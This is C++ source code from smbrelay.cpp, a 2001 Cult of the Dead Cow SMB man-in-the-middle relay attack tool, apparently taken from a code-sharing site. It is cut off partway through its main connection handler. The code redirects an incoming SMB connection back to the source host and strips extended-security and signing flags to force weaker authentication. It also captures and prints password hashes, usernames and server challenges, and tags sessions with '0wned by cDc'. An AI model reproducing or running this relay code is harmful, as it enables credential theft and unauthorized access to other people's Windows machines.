www.pudn.com > smbrelay.zip > smbrelay.cpp
// smbrelay.cpp : TCP (NetBT) level SMB man-in-the-middle relay attack // Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com #pragma comment(lib, "wsock32.lib") #pragma comment(lib, "iphlpapi.lib") #include#include #include #include #include #include #include #include #pragma pack(1) #define GETSOCKETERROR WSAGetLastError BOOL g_bQuit = FALSE; int g_DebugLevel = 0; DWORD g_LocalInterfaceNumber = 0; DWORD g_RelayInterfaceNumber = 1; char g_SourceName[16] = "CDC4EVER"; DWORD g_LocalIP = INADDR_NONE; BOOL g_bAddLocalIP = FALSE; WORD g_LocalPort = 139; DWORD g_RelayStartIP = MAKELONG( MAKEWORD(192, 1), MAKEWORD(1, 1) ); BOOL g_bAddRelayIP = TRUE; DWORD ConnectedList[1024]; DWORD ConnectedSize = 0; #define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') ) #define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" #define CREATEDIRECTORYNAME "0wn3d by cDc" #define SERVERDOMAINNAME "PEE" #define SMBENCRYPTIONKEYLEN 8 // The original MSNET SMB protocol (otherwise known as the "core protocol") #define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0" // Some versions of the original MSNET defined this as an alternate to the core protocol name #define LANMANDIALECT_PCLAN10 "PCLAN1.0" // This is used for the MS-NET 1.03 product. It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write. #define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03" // This is the DOS LANMAN 1.0 specific protocol. It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error. #define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0" // This is the first version of the full LANMAN 1.0 protocol #define LANMANDIALECT_LANMAN10 "LANMAN1.0" // This is the first version of the full LANMAN 2.0 protocol #define LANMANDIALECT_LM12X002 "LM1.2X002" // This is the DOS equivalent of the LM1.2X002 protocol. It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors. #define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002" // DOS LANMAN2.1 #define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1" // OS/2 LANMAN2.1 #define LANMANDIALECT_LANMAN21 "LANMAN2.1" // Windows for Workgroups Version 1.0 #define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a" // The SMB protocol designed for NT networking. This has special SMBs which duplicate the NT semantics. #define LANMANDIALECT_NTLM012 "NT LM 0.12" typedef struct { BYTE Type; // Type of packet BYTE Flags; // flags (length extension flag is all that's used) WORD Length; // Length of additional data // WORD Padding; // additional frame padding?? } NBSESSIONHEADER, *PNBSESSIONHEADER; typedef struct { DWORD MagicVal; BYTE Command; union { struct { BYTE ErrorClass; BYTE Reserved; WORD ErrorCode; }; DWORD NTError; }; // flags field BYTE bLockAndReadWriteAndUnlock:1; BYTE bSendWithoutAck:1; BYTE bReservedBit:1; BYTE bNoCaseSensitivePaths:1; BYTE bCanonicalizedPaths:1; BYTE bOpportunisticLocks:1; BYTE bChangeNotify:1; BYTE bResponse:1; // 2nd flags field BYTE bLongFilenames:1; BYTE bExtendedAttributes:1; BYTE bFlags2IsLongName:1; BYTE bUnknown1:1; BYTE bUnknown2:1; BYTE bUnknown3:1; //*** BYTE bUnknown4:1; BYTE bUnknown5:1; //*** BYTE bUnknown6:1; BYTE bUnknown7:1; BYTE bUnknown8:1; BYTE bExtendedSecurity:1; BYTE bResolveViaDFS:1; BYTE bReadGrantedWithExecPerms:1; BYTE bNTErrorCodes:1; BYTE bUnicodeStrings:1; WORD PID; DWORD HdrReserved; WORD SessionID; WORD SequenceNumber; BYTE Padding[2]; WORD TreeID; WORD CallersProcess; WORD UserID; WORD MultiplexID; } SMBHEADER, *PSMBHEADER; typedef struct { BYTE Len; // should be 17 WORD DialectIndex; BYTE bUserLevelSecurity:1; BYTE bEncryptPasswords:1; BYTE bSecuritySignaturesEnabled:1; BYTE bSecuritySignaturesRequired:1; BYTE bReserved:4; WORD MaxPendingMpxRequests; WORD MaxVCsInClientAndServer; DWORD MaxTransmitBufferSize; DWORD MaxRawBufferSize; DWORD UniqueSessionKey; BYTE bReadAndWriteRawMode:1; BYTE bReadAndWriteMultiplexMode:1; BYTE bUnicode:1; BYTE bLargeFiles:1; BYTE bNTLM012Dialect:1; BYTE bRAPIviaRPC:1; BYTE bNT32BitStatus:1; BYTE bLevelIIOplocks:1; BYTE bLOCK_AND_READ_Command:1; BYTE bNT_FIND_SBM_Command:1; BYTE Unused1:2; BYTE bDFSAware:1; BYTE Unused2:3; BYTE Unused3; BYTE Unused4:5; BYTE bBulkTransfer:1; BYTE bCompressedData:1; BYTE bExtendedSecurity:1; DWORD SystemDate; DWORD SystemTime; WORD TimeZone; BYTE EncryptionKeyLen; WORD ByteCount; } SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER; #define SMBDIALECTSELECTHEADER_LEN 17 typedef struct { BYTE Len; // should be 10 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD PasswordLen; DWORD Reserved; WORD ByteCount; } SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER; #define SESSION_SETUP_ANDHEADER_LEN 10 typedef struct { BYTE Len; // should be 13 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD CaseInsensitivePasswordLen; WORD CaseSensitivePasswordLen; DWORD Reserved; DWORD ClientCaps; WORD ByteCount; } SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2; #define SESSION_SETUP_ANDHEADER2_LEN 13 typedef struct { BYTE Len; // should be 12 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD SecurityBlobLen; DWORD Reserved; DWORD ClientCaps; WORD ByteCount; } SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX; #define SESSION_SETUP_ANDHEADER2EX_LEN 12 typedef struct { BYTE Len; // should be 3 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD Action; WORD ByteCount; } SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER; // followed by // SZ Server native OS // SZ Server native LanMan // SZ Server primary domain #define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3 typedef struct { BYTE Len; // should be 4 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD Flags; WORD PasswordLen; WORD ByteCount; } TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER; #define TREE_CONNECT_ANDHEADER_LEN 4 typedef struct { BYTE Len; // should be 3 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD OptionalSupport; WORD ByteCount; } TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER; // followed by // SZ Servicetype connected to // SZ NativeFileSystem #define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3 typedef struct { BYTE Len; // should be 24 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; BYTE Reserved; WORD NameLength; DWORD Flags; DWORD RootDirectoryFid; DWORD AccessMask; LARGE_INTEGER AllocationSize; DWORD ExtFileAttributes; DWORD ShareAccess; DWORD CreateDisposition; DWORD CreateOptions; DWORD ImpersonationLevel; BYTE SecurityFlags; WORD ByteCount; } NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER; #define NT_CREATE_ANDHEADER_LEN 24 #define TYPE_SESSION_MESSAGE 0x00 #define TYPE_SESSION_REQUEST 0x81 #define TYPE_POSITIVE_SESSION_RESPONSE 0x82 #define TYPE_NEGATIVE_SESSION_RESPONSE 0x83 #define TYPE_RETARGET_SESSION_RESPONSE 0x84 #define TYPE_SESSION_KEEP_ALIVE 0x85 #define SMB_COM_CREATE_DIRECTORY 0x00 #define SMB_COM_DELETE_DIRECTORY 0x01 #define SMB_COM_OPEN 0x02 #define SMB_COM_CREATE 0x03 #define SMB_COM_CLOSE 0x04 #define SMB_COM_FLUSH 0x05 #define SMB_COM_DELETE 0x06 #define SMB_COM_RENAME 0x07 #define SMB_COM_QUERY_INFORMATION 0x08 #define SMB_COM_SET_INFORMATION 0x09 #define SMB_COM_READ 0x0A #define SMB_COM_WRITE 0x0B #define SMB_COM_LOCK_BYTE_RANGE 0x0C #define SMB_COM_UNLOCK_BYTE_RANGE 0x0D #define SMB_COM_CREATE_TEMPORARY 0x0E #define SMB_COM_CREATE_NEW 0x0F #define SMB_COM_CHECK_DIRECTORY 0x10 #define SMB_COM_PROCESS_EXIT 0x11 #define SMB_COM_SEEK 0x12 #define SMB_COM_LOCK_AND_READ 0x13 #define SMB_COM_WRITE_AND_UNLOCK 0x14 #define SMB_COM_READ_RAW 0x1A #define SMB_COM_READ_MPX 0x1B #define SMB_COM_READ_MPX_SECONDARY 0x1C #define SMB_COM_WRITE_RAW 0x1D #define SMB_COM_WRITE_MPX 0x1E #define SMB_COM_WRITE_COMPLETE 0x20 #define SMB_COM_SET_INFORMATION2 0x22 #define SMB_COM_QUERY_INFORMATION2 0x23 #define SMB_COM_LOCKING_ANDX 0x24 #define SMB_COM_TRANSACTION 0x25 #define SMB_COM_TRANSACTION_SECONDARY 0x26 #define SMB_COM_IOCTL 0x27 #define SMB_COM_IOCTL_SECONDARY 0x28 #define SMB_COM_COPY 0x29 #define SMB_COM_MOVE 0x2A #define SMB_COM_ECHO 0x2B #define SMB_COM_WRITE_AND_CLOSE 0x2C #define SMB_COM_OPEN_ANDX 0x2D #define SMB_COM_READ_ANDX 0x2E #define SMB_COM_WRITE_ANDX 0x2F #define SMB_COM_CLOSE_AND_TREE_DISC 0x31 #define SMB_COM_TRANSACTION2 0x32 #define SMB_COM_TRANSACTION2_SECONDARY 0x33 #define SMB_COM_FIND_CLOSE2 0x34 #define SMB_COM_FIND_NOTIFY_CLOSE 0x35 #define SMB_COM_TREE_CONNECT 0x70 #define SMB_COM_TREE_DISCONNECT 0x71 #define SMB_COM_NEGOTIATE 0x72 #define SMB_COM_SESSION_SETUP_ANDX 0x73 #define SMB_COM_LOGOFF_ANDX 0x74 #define SMB_COM_TREE_CONNECT_ANDX 0x75 #define SMB_COM_QUERY_INFORMATION_DISK 0x80 #define SMB_COM_SEARCH 0x81 #define SMB_COM_FIND 0x82 #define SMB_COM_FIND_UNIQUE 0x83 #define SMB_COM_NT_TRANSACT 0xA0 #define SMB_COM_NT_TRANSACT_SECONDARY 0xA1 #define SMB_COM_NT_CREATE_ANDX 0xA2 #define SMB_COM_NT_CANCEL 0xA4 #define SMB_COM_OPEN_PRINT_FILE 0xC0 #define SMB_COM_WRITE_PRINT_FILE 0xC1 #define SMB_COM_CLOSE_PRINT_FILE 0xC2 #define SMB_COM_GET_PRINT_QUEUE 0xC3 #define SMB_COM_READ_BULK 0xD8 #define SMB_COM_WRITE_BULK 0xD9 #define SMB_COM_WRITE_BULK_DATA 0xDA #define SMB_NONE 0xFF typedef struct { SOCKET connectionsock; SOCKADDR_IN sourcesockaddr; int hostcount; } NEWCONINFO, *PNEWCONINFO; typedef struct { SOCKET connectionsock; SOCKET relaysock; char header[sizeof(SMBHEADER) + sizeof(NBSESSIONHEADER)]; } RELAYCONINFO, *PRELAYCONINFO; const char *GetInterfaceType(DWORD Type); const char *StrError(DWORD err) { static char retbuff[1024]; if (err == 0) strcpy(retbuff, "\n"); else FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, retbuff, 1024, NULL); if (strlen(retbuff) == 0) strcpy(retbuff, "\n"); return retbuff; } unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; void PrintNetBIOSName(unsigned char *name) { BYTE BinVal; char PrintName[16]; int x; memcpy(PrintName, name, 15); PrintName[15] = 0; BinVal = name[15]; fprintf(stdout, "%s", PrintName); for (x = 0; x < 16 - (int)strlen(PrintName); x++) fprintf(stdout, " "); fprintf(stdout, "<%02x>", BinVal); } int NetBIOSNameToString(char *dest, const BYTE *src, int PacketLeft) { int y; static unsigned char Name[32]; unsigned char UncompressedName[256]; unsigned char hexbuf[3]; char *ptr; BYTE len; // get length of string len = *src; if (len & 0xC0) // name pointer or other { len = 0; // just return last name read } else { if (len >= PacketLeft) { puts("[Short name, aborting]"); return 0; } memset(UncompressedName, 0, sizeof(UncompressedName)); memset(Name, ' ', sizeof(Name) ); memcpy(UncompressedName, src+1, len); for (y = 0; y < 16; y++) { hexbuf[0] = hexvals[UncompressedName[y*2] - 'A']; hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A']; hexbuf[2] = 0; Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16); } } memcpy(dest, (const char *)Name , 16); return (int)(len+2); } int StringToNetBIOSName(char *dest, const char *src, BYTE binval) { int x, y; unsigned char Name[16]; unsigned char UncompressedName[256]; char hexbuf[2]; if (strcmp(src, WILDCARDNAME) == 0) { // set name to all zeros // for some reason Windows seems to want wildcard names to be padded // with zeros instead of spaces memset(Name, 0, sizeof(Name)); } else { // set name to all spaces memset(Name, ' ', sizeof(Name)); } // get length of name x = strlen(src); // truncate at 15th char if (x > 15) x = 15; // copy up to 15 chars leaving the rest space padded memcpy(Name, src, x); // uppercase the name Name[15] = 0; for (y = 0; y < 15; y++) Name[y] = toupper((int)Name[y]); // set 16th binary char Name[15] = binval; UncompressedName[0] = 32; // convert each char to hex for (x = 0; x < 16; x++) sprintf((char *)&UncompressedName[(x*2)+1], "%02X", (DWORD)Name[x] ); // add 'A' to each char for (x = 1; x <= 32; x++) { char *ptr; hexbuf[0] = UncompressedName[x]; hexbuf[1] = 0; UncompressedName[x] = 'A' + (BYTE)strtoul(hexbuf, &ptr, 16);; } UncompressedName[33] = 0; #ifdef USE_SCOPEID // add SCOPE_ID UncompressedName[33] = 7; memcpy((char *)&UncompressedName[34], "NETBIOS", 7); UncompressedName[41] = 3; memcpy((char *)&UncompressedName[42], "COM", 3); #endif // set the length x = 34; memcpy(dest, UncompressedName, x); return x; } void PrintHexString(BYTE *src, int len) { int x; if (len == 0) return; for (x = 0; x < len; x++) { printf("%02X", *src); src++; } printf(" "); } const char *GetCommandType(BYTE Command) { static char retbuff[64]; char * ret = retbuff; switch(Command) { case SMB_COM_CREATE_DIRECTORY: ret = "SMB_COM_CREATE_DIRECTORY"; break; case SMB_COM_DELETE_DIRECTORY: ret = "SMB_COM_DELETE_DIRECTORY"; break; case SMB_COM_OPEN: ret = "SMB_COM_OPEN"; break; case SMB_COM_CREATE: ret = "SMB_COM_CREATE"; break; case SMB_COM_CLOSE: ret = "SMB_COM_CLOSE"; break; case SMB_COM_FLUSH: ret = "SMB_COM_FLUSH"; break; case SMB_COM_DELETE: ret = "SMB_COM_DELETE"; break; case SMB_COM_RENAME: ret = "SMB_COM_RENAME"; break; case SMB_COM_QUERY_INFORMATION: ret = "SMB_COM_QUERY_INFORMATION"; break; case SMB_COM_SET_INFORMATION: ret = "SMB_COM_SET_INFORMATION"; break; case SMB_COM_READ: ret = "SMB_COM_READ"; break; case SMB_COM_WRITE: ret = "SMB_COM_WRITE"; break; case SMB_COM_LOCK_BYTE_RANGE: ret = "SMB_COM_LOCK_BYTE_RANGE"; break; case SMB_COM_UNLOCK_BYTE_RANGE: ret = "SMB_COM_UNLOCK_BYTE_RANGE"; break; case SMB_COM_CREATE_TEMPORARY: ret = "SMB_COM_CREATE_TEMPORARY"; break; case SMB_COM_CREATE_NEW: ret = "SMB_COM_CREATE_NEW"; break; case SMB_COM_CHECK_DIRECTORY: ret = "SMB_COM_CHECK_DIRECTORY"; break; case SMB_COM_PROCESS_EXIT: ret = "SMB_COM_PROCESS_EXIT"; break; case SMB_COM_SEEK: ret = "SMB_COM_SEEK"; break; case SMB_COM_LOCK_AND_READ: ret = "SMB_COM_LOCK_AND_READ"; break; case SMB_COM_WRITE_AND_UNLOCK: ret = "SMB_COM_WRITE_AND_UNLOCK"; break; case SMB_COM_READ_RAW: ret = "SMB_COM_READ_RAW"; break; case SMB_COM_READ_MPX: ret = "SMB_COM_READ_MPX"; break; case SMB_COM_READ_MPX_SECONDARY: ret = "SMB_COM_READ_MPX_SECONDARY"; break; case SMB_COM_WRITE_RAW: ret = "SMB_COM_WRITE_RAW"; break; case SMB_COM_WRITE_MPX: ret = "SMB_COM_WRITE_MPX"; break; case SMB_COM_WRITE_COMPLETE: ret = "SMB_COM_WRITE_COMPLETE"; break; case SMB_COM_SET_INFORMATION2: ret = "SMB_COM_SET_INFORMATION2"; break; case SMB_COM_QUERY_INFORMATION2: ret = "SMB_COM_QUERY_INFORMATION2"; break; case SMB_COM_LOCKING_ANDX: ret = "SMB_COM_LOCKING_ANDX"; break; case SMB_COM_TRANSACTION: ret = "SMB_COM_TRANSACTION"; break; case SMB_COM_TRANSACTION_SECONDARY: ret = "SMB_COM_TRANSACTION_SECONDARY"; break; case SMB_COM_IOCTL: ret = "SMB_COM_IOCTL"; break; case SMB_COM_IOCTL_SECONDARY: ret = "SMB_COM_IOCTL_SECONDARY"; break; case SMB_COM_COPY: ret = "SMB_COM_COPY"; break; case SMB_COM_MOVE: ret = "SMB_COM_MOVE"; break; case SMB_COM_ECHO: ret = "SMB_COM_ECHO"; break; case SMB_COM_WRITE_AND_CLOSE: ret = "SMB_COM_WRITE_AND_CLOSE"; break; case SMB_COM_OPEN_ANDX: ret = "SMB_COM_OPEN_ANDX"; break; case SMB_COM_READ_ANDX: ret = "SMB_COM_READ_ANDX"; break; case SMB_COM_WRITE_ANDX: ret = "SMB_COM_WRITE_ANDX"; break; case SMB_COM_CLOSE_AND_TREE_DISC: ret = "SMB_COM_CLOSE_AND_TREE_DISC"; break; case SMB_COM_TRANSACTION2: ret = "SMB_COM_TRANSACTION2"; break; case SMB_COM_TRANSACTION2_SECONDARY: ret = "SMB_COM_TRANSACTION2_SECONDARY"; break; case SMB_COM_FIND_CLOSE2: ret = "SMB_COM_FIND_CLOSE2"; break; case SMB_COM_FIND_NOTIFY_CLOSE: ret = "SMB_COM_FIND_NOTIFY_CLOSE"; break; case SMB_COM_TREE_CONNECT: ret = "SMB_COM_TREE_CONNECT"; break; case SMB_COM_TREE_DISCONNECT: ret = "SMB_COM_TREE_DISCONNECT"; break; case SMB_COM_NEGOTIATE: ret = "SMB_COM_NEGOTIATE"; break; case SMB_COM_SESSION_SETUP_ANDX: ret = "SMB_COM_SESSION_SETUP_ANDX"; break; case SMB_COM_LOGOFF_ANDX: ret = "SMB_COM_LOGOFF_ANDX"; break; case SMB_COM_TREE_CONNECT_ANDX: ret = "SMB_COM_TREE_CONNECT_ANDX"; break; case SMB_COM_QUERY_INFORMATION_DISK: ret = "SMB_COM_QUERY_INFORMATION_DISK"; break; case SMB_COM_SEARCH: ret = "SMB_COM_SEARCH"; break; case SMB_COM_FIND: ret = "SMB_COM_FIND"; break; case SMB_COM_FIND_UNIQUE: ret = "SMB_COM_FIND_UNIQUE"; break; case SMB_COM_NT_TRANSACT: ret = "SMB_COM_NT_TRANSACT"; break; case SMB_COM_NT_TRANSACT_SECONDARY: ret = "SMB_COM_NT_TRANSACT_SECONDARY"; break; case SMB_COM_NT_CREATE_ANDX: ret = "SMB_COM_NT_CREATE_ANDX"; break; case SMB_COM_NT_CANCEL: ret = "SMB_COM_NT_CANCEL"; break; case SMB_COM_OPEN_PRINT_FILE: ret = "SMB_COM_OPEN_PRINT_FILE"; break; case SMB_COM_WRITE_PRINT_FILE: ret = "SMB_COM_WRITE_PRINT_FILE"; break; case SMB_COM_CLOSE_PRINT_FILE: ret = "SMB_COM_CLOSE_PRINT_FILE"; break; case SMB_COM_GET_PRINT_QUEUE: ret = "SMB_COM_GET_PRINT_QUEUE"; break; default: sprintf(retbuff, "Command 0x%02X", Command); break; } return ret; } const char *GetMessageType(BYTE Type) { char *typeptr = "Unknown"; switch (Type) { case TYPE_SESSION_MESSAGE: typeptr = "Session Message"; break; case TYPE_SESSION_REQUEST: typeptr = "Session Request"; break; case TYPE_POSITIVE_SESSION_RESPONSE: typeptr = "Positive Session Response"; break; case TYPE_NEGATIVE_SESSION_RESPONSE: typeptr = "Negative Session Response"; break; case TYPE_RETARGET_SESSION_RESPONSE: typeptr = "Retarget Session Response"; break; case TYPE_SESSION_KEEP_ALIVE: typeptr = "Session Keep Alive"; break; } return typeptr; } void mainconnectionhandler(void *arg) { SOCKET outsock, inconsock ; SOCKADDR_IN sockaddr, sourcesockaddr; char buff[65536]; char namebuff[64]; BYTE challenge[8]; BYTE caseinsensitivepassword[24]; BYTE casesensitivepassword[24]; char username[64]; char hostname[64]; DWORD SessionID; PNEWCONINFO pnewconinfo = (PNEWCONINFO)arg; char negotiateheaders[1024]; char logonandconnectheaders[1024]; WORD UID; int hostnumber = pnewconinfo->hostcount; inconsock = pnewconinfo->connectionsock; memcpy(&sockaddr, &pnewconinfo->sourcesockaddr, sizeof(SOCKADDR_IN)); memcpy(&sourcesockaddr, &pnewconinfo->sourcesockaddr, sizeof(SOCKADDR_IN)); outsock = socket(AF_INET, SOCK_STREAM, 0); sockaddr.sin_port = htons(139); if (connect(outsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR) { printf("Unable to connect to %s:%d\n", inet_ntoa(sockaddr.sin_addr), 139); return; } DWORD l = 0; ioctlsocket(inconsock, FIONBIO , &l); PNBSESSIONHEADER pnbsessionheader = (PNBSESSIONHEADER)buff; PSMBHEADER psmbheader = (PSMBHEADER)(pnbsessionheader + 1); PSMBDIALECTSELECTHEADER pdialectselectheader = (PSMBDIALECTSELECTHEADER)(psmbheader+1); PSESSION_SETUP_ANDHEADER psessionsetupand = (PSESSION_SETUP_ANDHEADER)(psmbheader+1); PSESSION_SETUP_ANDHEADER2 psessionsetupand2 = (PSESSION_SETUP_ANDHEADER2)(psmbheader+1); PSESSION_SETUP_ANDHEADER2EX psessionsetupand2ex = ( PSESSION_SETUP_ANDHEADER2EX)(psmbheader+1); PSESSION_SETUP_ANDRESPONSEHEADER psessionsetupandresponse = (PSESSION_SETUP_ANDRESPONSEHEADER)(psmbheader + 1); PTREE_CONNECT_ANDHEADER ptreeconnectand = (PTREE_CONNECT_ANDHEADER)(psmbheader+1); BOOL bConnected = FALSE; BOOL bContinue = TRUE; int x = 0; while (bContinue && !bConnected && !g_bQuit) { x = recv(inconsock, buff, sizeof(buff), 0); if (x < 1) { printf("Error receiving data from incoming connection\n"); return; } printf("Request type: %s %d bytes\n", GetMessageType(pnbsessionheader->Type), x); switch (pnbsessionheader->Type) { case TYPE_SESSION_REQUEST: NetBIOSNameToString(namebuff, (BYTE *)buff + 38, x - 38); printf("Source name: "); PrintNetBIOSName((BYTE *)namebuff); memcpy(hostname, namebuff, 15); hostname[15] = 0; { char *ptr = &hostname[14]; while (*ptr == ' ') { *ptr = 0; ptr--; } } NetBIOSNameToString(namebuff, (BYTE *)buff + 4, x - 4); printf("\nTarget name: "); PrintNetBIOSName((BYTE *)namebuff); printf("\nSetting target name to source name and source name to '%s'...\n", g_SourceName); // could also fill in *SMBSERVER here // copy source name to target name memcpy(buff + 4, buff + 38, 34); // change service value to server (0x20) memcpy(buff + 35, "CA", 2); // convert name string to netbios name format StringToNetBIOSName(namebuff, g_SourceName, 20); // copy our source name to packet memcpy(buff + 38, namebuff, 34); break; case TYPE_SESSION_MESSAGE: if (psmbheader->MagicVal == SMBMAGICVAL) { printf("%s\n", GetCommandType(psmbheader->Command) ); // Downgrade security yo NTLM psmbheader->bExtendedSecurity = FALSE; psmbheader->bNTErrorCodes = FALSE; // psmbheader->bUnicodeStrings = FALSE; psmbheader->bFlags2IsLongName = FALSE; switch (psmbheader->Command) { case SMB_COM_NEGOTIATE: // set to NT style connection (no extended security) psmbheader->bUnicodeStrings = FALSE; psmbheader->bNTErrorCodes = FALSE; psmbheader->bUnknown1 = FALSE; psmbheader->bUnknown2 = FALSE; psmbheader->bUnknown3 = FALSE; psmbheader->bUnknown4 = FALSE; psmbheader->bUnknown5 = FALSE; psmbheader->bUnknown6 = FALSE; psmbheader->bUnknown7 = FALSE; psmbheader->bUnknown8 = FALSE; psmbheader->bExtendedSecurity = FALSE; break; case SMB_COM_SESSION_SETUP_ANDX: switch (psessionsetupand->Len) { case SESSION_SETUP_ANDHEADER_LEN: // 9x? printf("Password length: %d\n", psessionsetupand->PasswordLen ); if (psessionsetupand->PasswordLen > 1) { printf("Password: "); PrintHexString((BYTE *)(psessionsetupand + 1), psessionsetupand->PasswordLen ); puts(""); bContinue = FALSE; // bConnected = FALSE; } break; case SESSION_SETUP_ANDHEADER2_LEN: // NT 4 printf("Password lengths: %d %d\n", psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); if (psessionsetupand2->CaseInsensitivePasswordLen > 1) { printf("Case insensitive password: "); PrintHexString((BYTE *)(psessionsetupand2 + 1), psessionsetupand2->CaseInsensitivePasswordLen ); puts(""); memcpy(caseinsensitivepassword, psessionsetupand2 + 1, 24); } if (psessionsetupand2->CaseSensitivePasswordLen > 1) { printf("Case sensitive password: "); PrintHexString((BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); puts(""); memcpy(casesensitivepassword, (BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, 24); } if (/* psmbheader->bUnicodeStrings */TRUE) { WCHAR *ptr = (WCHAR *)(psessionsetupand2 + 1); ptr = (WCHAR *)((char *)ptr + psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1); printf("Username: \"%S\"\n", ptr); sprintf(username, "%S", ptr); ptr += wcslen(ptr) + 1; printf("Domain: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("OS: \"%S\"\n", ptr); #if 1 _snwprintf(ptr, wcslen(ptr) , L"0wned by cDc "); #endif ptr += wcslen(ptr) + 1; printf("Lanman type: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("???: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; } else { char *ptr = (char *)(psessionsetupand2 + 1); ptr += psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1; printf("Username: \"%s\"\n", ptr); strncpy(username, ptr, sizeof(username)); ptr += strlen(ptr) + 1; printf("Domain: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; printf("OS: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; printf("Lanman type: \"%s\"\n", ptr); } if (psessionsetupand2->AndXCommand == SMB_COM_TREE_CONNECT_ANDX) { // add TREE_CONNECT_AND portion to connect to IPC$ psessionsetupand2->AndXOffset = sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 3; PTREE_CONNECT_ANDHEADER pTreeConnectAnd2 = (PTREE_CONNECT_ANDHEADER)(PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupand2->AndXOffset ); pTreeConnectAnd2->Len = TREE_CONNECT_ANDHEADER_LEN; pTreeConnectAnd2->AndXCommand = SMB_NONE; pTreeConnectAnd2->AndXOffset = 0; pTreeConnectAnd2->AndXReserved = 0; pTreeConnectAnd2->Flags = 0; pTreeConnectAnd2->PasswordLen = 1; pTreeConnectAnd2->ByteCount = 32; char *ptr = (char *)(pTreeConnectAnd2 + 1); *ptr = 0; ptr++; WCHAR *wptr = (WCHAR *)ptr; swprintf(wptr, L"\\\\%S\\IPC$", hostname); pTreeConnectAnd2->ByteCount = (wcslen(wptr) + 1) * 2; wptr += wcslen(wptr) + 1; ptr = (char *)wptr; strcpy(ptr, "?????"); pTreeConnectAnd2->ByteCount += 7; pnbsessionheader->Length = htons(sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 2 + pTreeConnectAnd2->Len * 2 + pTreeConnectAnd2->ByteCount + 4); x = ntohs(pnbsessionheader->Length) + 4; } break; case SESSION_SETUP_ANDHEADER2EX_LEN: // Win2000 printf("Security blob len: %d\n", psessionsetupand2ex->SecurityBlobLen); break; default: printf("Unknown setup header length %d\n", psessionsetupand->Len); break; } break; } } } send(outsock, buff, x, 0); x = recv(outsock, buff, sizeof(buff), 0); if (x < 1) { printf("Error receiving data from outgoing connection\n"); return; } printf("Response: %s %d bytes\n", GetMessageType(pnbsessionheader->Type), x); switch (pnbsessionheader->Type) { case TYPE_SESSION_MESSAGE: switch (psmbheader->Command) { case SMB_COM_NEGOTIATE: SessionID = pdialectselectheader->UniqueSessionKey; if (pdialectselectheader->EncryptionKeyLen ) { printf("Challenge (%d bytes): ", pdialectselectheader->EncryptionKeyLen); PrintHexString((BYTE *)(pdialectselectheader + 1), pdialectselectheader->EncryptionKeyLen); memcpy(challenge, pdialectselectheader + 1, 8); puts(""); } if (pdialectselectheader->bSecuritySignaturesRequired ) { printf("Security signatures required by server *** THIS MAY NOT WORK!\n"); pdialectselectheader->bSecuritySignaturesRequired = 0; } if (pdialectselectheader->bExtendedSecurity) { printf("Disabling extended security *** THIS MAY NOT WORK!\n"); pdialectselectheader->bExtendedSecurity = 0; } if (pdialectselectheader->bSecuritySignaturesEnabled) { 